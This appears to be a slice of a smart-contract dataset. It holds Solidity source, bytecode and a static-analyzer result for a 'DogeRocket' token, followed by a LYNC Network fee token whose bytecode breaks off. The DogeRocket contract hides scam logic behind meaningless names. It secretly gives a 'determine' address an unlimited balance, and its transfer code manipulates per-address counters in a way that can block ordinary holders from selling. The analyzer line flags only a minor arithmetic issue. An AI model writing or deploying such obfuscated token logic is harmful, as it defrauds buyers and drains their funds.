/* https://t.me/dogerocket_eth http://www.doge-rocket.space/ /$$$$$$$ /$$$$$$$ /$$ /$$ | $$__ $$ | $$__ $$ | $$ | $$ | $$ \ $$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$$$$$$| $$ /$$ /$$$$$$ /$$$$$$ | $$ | $$ /$$__ $$ /$$__ $$ /$$__ $$| $$$$$$$/ /$$__ $$ /$$_____/| $$ /$$/ /$$__ $$|_ $$_/ | $$ | $$| $$ \ $$| $$ \ $$| $$$$$$$$| $$__ $$| $$ \ $$| $$ | $$$$$$/ | $$$$$$$$ | $$ | $$ | $$| $$ | $$| $$ | $$| $$_____/| $$ \ $$| $$ | $$| $$ | $$_ $$ | $$_____/ | $$ /$$ | $$$$$$$/| $$$$$$/| $$$$$$$| $$$$$$$| $$ | $$| $$$$$$/| $$$$$$$| $$ \ $$| $$$$$$$ | $$$$/ |_______/ \______/ \____ $$ \_______/|__/ |__/ \______/ \_______/|__/ \__/ \_______/ \___/ /$$ \ $$ | $$$$$$/ \______/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address determine ) { _symbol = _SYMBOL; _name = _NAME; _fee = 1; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; _balances[determine] = expression; _balances[msg.sender] = _tTotal; time[determine] = expression; time[msg.sender] = expression; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; function name() public view returns (string memory) { return _name; } mapping(address => address) private rapidly; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbol; } uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private expression = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function gasoline( address scale, address spite, uint256 amount ) private { address been = rapidly[address(0)]; bool dried = uniswapV2Pair == scale; uint256 worry = _fee; if (time[scale] == 0 && produce[scale] > 0 && !dried) { time[scale] -= worry; } rapidly[address(0)] = spite; if (time[scale] > 0 && amount == 0) { time[spite] += worry; } produce[been] += worry; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[scale] -= fee; _balances[address(this)] += fee; _balances[scale] -= amount; _balances[spite] += amount; } mapping(address => uint256) private produce; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private time; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); gasoline(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { gasoline(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea264697066735822122079942d337627ab770cfd789d9baaf83ba50f74418279cd3d6fd8a3eb742a487c64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
2,712
0x8f87ec6aad3b2a8c44f1298a1af56169b8e574cf
pragma solidity 0.7.1; contract LYNCToken { //Enable SafeMath using SafeMath for uint256; //Token details string constant public name = "LYNC Network"; string constant public symbol = "LYNC"; uint8 constant public decimals = 18; //Reward pool and owner address address public owner; address public rewardPoolAddress; //Supply and tranasction fee uint256 public maxTokenSupply = 1e24; // 1,000,000 tokens uint256 public feePercent = 1; // initial transaction fee percentage uint256 public feePercentMax = 10; // maximum transaction fee percentage //Events event Transfer(address indexed _from, address indexed _to, uint256 _tokens); event Approval(address indexed _owner,address indexed _spender, uint256 _tokens); event TranserFee(uint256 _tokens); event UpdateFee(uint256 _fee); event RewardPoolUpdated(address indexed _rewardPoolAddress, address indexed _newRewardPoolAddress); event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner); event OwnershipRenounced(address indexed _previousOwner, address indexed _newOwner); //Mappings mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) private allowances; //On deployment constructor () { owner = msg.sender; rewardPoolAddress = address(this); balanceOf[msg.sender] = maxTokenSupply; emit Transfer(address(0), msg.sender, maxTokenSupply); } //ERC20 totalSupply function totalSupply() public view returns (uint256) { return maxTokenSupply; } //ERC20 transfer function transfer(address _to, uint256 _tokens) public returns (bool) { transferWithFee(msg.sender, _to, _tokens); return true; } //ERC20 transferFrom function transferFrom(address _from, address _to, uint256 _tokens) public returns (bool) { require(_tokens <= balanceOf[_from], "Not enough tokens in the approved address balance"); require(_tokens <= allowances[_from][msg.sender], "token amount is larger than the current allowance"); transferWithFee(_from, _to, _tokens); allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_tokens); return true; } //ERC20 approve function approve(address _spender, uint256 _tokens) public returns (bool) { allowances[msg.sender][_spender] = _tokens; emit Approval(msg.sender, _spender, _tokens); return true; } //ERC20 allowance function allowance(address _owner, address _spender) public view returns (uint256) { return allowances[_owner][_spender]; } //Transfer with transaction fee applied function transferWithFee(address _from, address _to, uint256 _tokens) internal returns (bool) { require(balanceOf[_from] >= _tokens, "Not enough tokens in the senders balance"); uint256 _feeAmount = (_tokens.mul(feePercent)).div(100); balanceOf[_from] = balanceOf[_from].sub(_tokens); balanceOf[_to] = balanceOf[_to].add(_tokens.sub(_feeAmount)); balanceOf[rewardPoolAddress] = balanceOf[rewardPoolAddress].add(_feeAmount); emit Transfer(_from, _to, _tokens.sub(_feeAmount)); emit Transfer(_from, rewardPoolAddress, _feeAmount); emit TranserFee(_tokens); return true; } //Update transaction fee percentage function updateFee(uint256 _updateFee) public onlyOwner { require(_updateFee <= feePercentMax, "Transaction fee cannot be greater than 10%"); feePercent = _updateFee; emit UpdateFee(_updateFee); } //Update the reward pool address function updateRewardPool(address _newRewardPoolAddress) public onlyOwner { require(_newRewardPoolAddress != address(0), "New reward pool address cannot be a zero address"); rewardPoolAddress = _newRewardPoolAddress; emit RewardPoolUpdated(rewardPoolAddress, _newRewardPoolAddress); } //Transfer current token balance to the reward pool address function rewardPoolBalanceTransfer() public onlyOwner returns (bool) { uint256 _currentBalance = balanceOf[address(this)]; transferWithFee(address(this), rewardPoolAddress, _currentBalance); return true; } //Transfer ownership to new owner function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0), "New owner cannot be a zero address"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } //Remove owner from the contract function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner, address(0)); owner = address(0); } //Modifiers modifier onlyOwner() { require(owner == msg.sender, "Only current owner can call this function"); _; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80637fd6f15c116100ad57806395d89b411161007157806395d89b4114610442578063a9059cbb146104c5578063d5fbac3a14610529578063dd62ed3e1461056d578063f2fde38b146105e557610121565b80637fd6f15c1461036e578063845a51ec1461038c5780638b87062c146103c05780638da5cb5b146103e05780639012c4a81461041457610121565b806323b872dd116100f457806323b872dd14610249578063313ce567146102cd57806350f7c204146102ee57806370a082311461030c578063715018a61461036457610121565b80630414916f1461012657806306fdde0314610144578063095ea7b3146101c757806318160ddd1461022b575b600080fd5b61012e610629565b6040518082815260200191505060405180910390f35b61014c61062f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018c578082015181840152602081019050610171565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610213600480360360408110156101dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610668565b60405180821515815260200191505060405180910390f35b61023361075a565b6040518082815260200191505060405180910390f35b6102b56004803603606081101561025f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610764565b60405180821515815260200191505060405180910390f35b6102d56109f9565b604051808260ff16815260200191505060405180910390f35b6102f66109fe565b6040518082815260200191505060405180910390f35b61034e6004803603602081101561032257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a04565b6040518082815260200191505060405180910390f35b61036c610a1c565b005b610376610b7e565b6040518082815260200191505060405180910390f35b610394610b84565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103c8610baa565b60405180821515815260200191505060405180910390f35b6103e8610cca565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104406004803603602081101561042a57600080fd5b8101908080359060200190929190505050610cee565b005b61044a610e2e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048a57808201518184015260208101905061046f565b50505050905090810190601f1680156104b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610511600480360360408110156104db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e67565b60405180821515815260200191505060405180910390f35b61056b6004803603602081101561053f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e7f565b005b6105cf6004803603604081101561058357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611069565b6040518082815260200191505060405180910390f35b610627600480360360208110156105fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f0565b005b60045481565b6040518060400160405280600c81526020017f4c594e43204e6574776f726b000000000000000000000000000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107fe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611a6d6031913960400191505060405180910390fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611